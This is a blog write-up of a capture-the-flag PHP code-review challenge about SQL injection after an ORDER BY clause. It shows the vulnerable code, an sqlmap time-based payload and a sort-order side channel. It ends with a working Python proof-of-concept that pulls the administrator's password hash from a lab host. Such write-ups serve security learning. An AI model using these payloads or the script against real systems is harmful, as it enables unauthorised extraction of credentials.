SQLi after order by in less than 22 chars

I like a good challenge.

During some reconnaissance, i found the career challenges of contextis and was kind of drawn into the web application ones.

The challenge

The challenge itself is a basic PHP Code Review with the following task:

You have downloaded a fancy CMS. Can you identify a way to extract the administrator hash? The accepted solution is the payload used to receive the hash.  

IF YOU READ ON, SPOILER AWAITS

Looking around

Looking around the code, there is one SQLi which jumps into your eye in action/list.php:

<?php  
//[...]
if(isset($_GET['order']) && strlen($_GET['order']) <= 11) {  
        $order= $_GET['order'];
} else {
       $order = "id";
}

if(isset($_GET['sort']) && strlen($_GET['sort']) <= 11) {  
        $sort= $_GET['sort'];
} else {
       $sort = "ASC";
}

$query = mysql_query("SELECT * FROM user order by $order $sort");

There it is. The beauty of an SQLi after order by.

The basic SQLi

Union Select

Forget the union select in this case. We are injecting after an order by and union is not allowed in SQL statements after this point. Therefore we have to find a different method.

Join

ARE YOU MAD? We have the same problem of "Not allowed after an order by".

Blind SQli

Okokok....let's just use a blind SQLi. For sure, the easiest solution would be using a subselect with a normal time delay. And sqlmap proofs me right here.

---
Parameter: order (GET)  
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: action=list&order=2 AND SLEEP(5)&sort=ASC
---

This works to proof the SQLi. But: If you want to extract serious data you can't do it below 22 chars.

Crazy Solution

Let's step up the game and recap.

We control the order of the user list output. What can we do here. We could reorder stuff, du'h.

Consider the following SQL statement:

mysql> select id,username,pwd from user order by pwd;  
+----+--------------+----------------------------------+
| id | username     | pwd                              |
+----+--------------+----------------------------------+
|  5 | nuit         | 098f6bcd4621d373cade4e832627b4f6 |
|  7 | test         | 098f6bcd4621d373cade4e832627b4f6 |
|  6 | tester01     | 6a36da6b6787c25eef0eed8025b3d3bc |
|  4 | evenmoreevil | ce9a6667cb746ec19d1714876f6ba38a |
|  2 | hacker       | d6a6bc0db10694a2d90e3a69648f3a03 |
|  3 | admin%       | e83f08e2f234e153c47ff99541e9a979 |
|  1 | admin        | e89f3f6c01d96f9c363e224a66b8db77 |
+----+--------------+----------------------------------+

It gets sorted by pwd and we know the first character of the admin password hash is after the first character of nuits hash.

Using substring we can sort by each character of the hash:

mysql> select id,username,substr(pwd,1,1),pwd from user order by substr(pwd,2,1);  
+----+--------------+-----------------+----------------------------------+
| id | username     | substr(pwd,1,1) | pwd                              |
+----+--------------+-----------------+----------------------------------+
|  2 | hacker       | d               | d6a6bc0db10694a2d90e3a69648f3a03 |
|  1 | admin        | e               | e89f3f6c01d96f9c363e224a66b8db77 |
|  3 | admin%       | e               | e83f08e2f234e153c47ff99541e9a979 |
|  5 | nuit         | 0               | 098f6bcd4621d373cade4e832627b4f6 |
|  7 | test         | 0               | 098f6bcd4621d373cade4e832627b4f6 |
|  6 | tester01     | 6               | 6a36da6b6787c25eef0eed8025b3d3bc |
|  4 | evenmoreevil | c               | ce9a6667cb746ec19d1714876f6ba38a |
+----+--------------+-----------------+----------------------------------+

okokok....we know we can sort stuff...but how the heck should i control the password, if the password is a md5 hash.

Control the things you can

I can choose my own username. Adding 16 users with a predefined username adminaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa and adminbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb we can control what we sort after by concatenating username and password field.

mysql> select concat(username,pwd) from user where username like "admin%";  
+-----------------------------------------------------------------------+
| concat(username,pwd)                                                  |
+-----------------------------------------------------------------------+
| admine89f3f6c01d96f9c363e224a66b8db77                                 |
| admin%e83f08e2f234e153c47ff99541e9a979                                |
| adminaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa098f6bcd4621d373cade4e832627b4f6 |
| adminbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb098f6bcd4621d373cade4e832627b4f6 |
+-----------------------------------------------------------------------+

Sorting, based on each character of the hash, we can determine which character it has to be, depending on the output position.

Using synonym functions and shortening the query a bit by using the hp field instead of username, we arrive at a pretty short injection:

select * from user order by mid(concat(hp,pwd),<n>);  

Preeeeetty good, considering it has 23 characters. But remember, we are still a character over our challenge. The concat has to go!

Using MD5 hashed passwords

What if we can only sort by password and use a password set by us to determine the character.

We know our password, therefore we know the hash, which is in the database. Sorting against a single character of the password and checking if admin is before or after our user, we can determine if the character of the admin password hash is before or after our hash.

Doing that for a lot of different passwords we probably will get every single one of the 16 characters in all of the 32 places.
For Example, if we look at character 32 of the admin hash, we can see the order changed at "7", therefore it has to be 7.

31:0:0  
31:1:0  
31:2:0  
31:3:0  
31:4:0  
31:5:0  
31:6:0  
31:7:1  
31:8:1  
31:9:1  
31:a:1  
31:b:1  
31:c:1  
31:d:1  
31:e:1  
31:f:1  

Doing this for every character will extract the password hash from the database.

Exploit

Running the exploit, it will try to register an user "nuit" with initial password "test". After this, it checks the sorting of each character in md5("test") with the payload order=mid(pwd,&sort=<n>,1),id.
After it has all informations it can extract from the single md5 hash, it uses the hash as new password and uses md5(md5("test")) as new hash. That's an easy way for an endless supply of hashes.
(See code at the end of the article)

Exploit in GIF

Needless to say: even with the sorting by id (which makes it more reliable and faster) we crush the below 22 characters challenge with 17 chars.
Without it would be 12 :)

Conclusion

I have never ever extracted data by sorting the output. But it is a pretty good and fast method with short injections.

If there is a better method extracting the hash, let me know on twitter.

so long

PoC Code

Shame on me...the code is pretty ugly

import sys  
import requests  
import hashlib  
from bs4 import BeautifulSoup

start='test'  
t = {}  
md5=hashlib.md5(start.encode('utf-8')).hexdigest()

s = requests.Session()  
print("[+] Registering user 'nuit' with password '%s'" % (start))  
r = s.post('http://33.33.33.10/index.php?action=register',data={  
    'username':'nuit',
    'password':start,
    'email': 'blubb@blaa.com',
    'hp': 'http://1',
    'save':'Create'
})

print("[+] Querying user 'nuit' to get ID for later sorting")  
r = requests.get('http://33.33.33.10/index.php?action=list')  
soup = BeautifulSoup(r.text, 'html.parser')  
table = soup.find('div',attrs={'id':'inhalt'})  
for tr in table.find_all('tr'):  
    names = tr.find_all('th')
    if(names[1].text == 'nuit'):
        id = names[0].text
        break

print("[+] Received ID: '%s'" % (id))  
print("[+] Login to obtain session")  
r = s.post('http://33.33.33.10/index.php?action=login',data={  
    'username':'nuit',
    'password':start,
    'login':'Login'
})

def check():  
    for i in range(32):
        r = requests.get('http://33.33.33.10/index.php?action=list&order=mid(pwd,&sort='+str(i+1)+',1),id')

        soup = BeautifulSoup(r.text, 'html.parser')
        table = soup.find('div',attrs={'id':'inhalt'})
        for tr in table.find_all('tr'):
            if tr.find_all('th')[0].text == id:
                t[str(i)+':'+md5[i]] = 0
                break
            if tr.find_all('th')[0].text == '1':
                t[str(i)+':'+md5[i]] = 1
                break

def reset():  
    print("[+] Resetting User 'nuit' to password 'test'")
    r = s.post('http://33.33.33.10/index.php?action=edit', data={
        'username': 'nuit',
        'password': 'test',
        'email': 'blubb@blaa.com',
        'hp': 'http://localhost/blog/',
        'edit': 'Update'
    })

def print_not_finished(e):  
    tmp = ''
    for i in range(32):
        def inner():
            for c in range(16):
                try:
                    pos = str(i)+':'+hex(c)[2:]
                    if(t[pos] == 1):
                        return hex(c)[2:]
                except:
                    pass
            else:
                return '0'
        tmp += inner()
    print(tmp,end=e)

print("[+] Exploiting....")  
while 1:  
    check()
    print_not_finished("\r")
    if(len(t) == 512):
        print("[+] MD5 Hash of Admin: ",end="")
        print_not_finished("")
        print("")
        reset()
        sys.exit()

    r = s.post('http://33.33.33.10/index.php?action=edit', data={
        'username': 'nuit',
        'password': md5,
        'email': 'blubb@blaa.com',
        'hp': 'http://localhost/blog/',
        'edit': 'Update'
    })
    md5=hashlib.md5(md5.encode('utf-8')).hexdigest()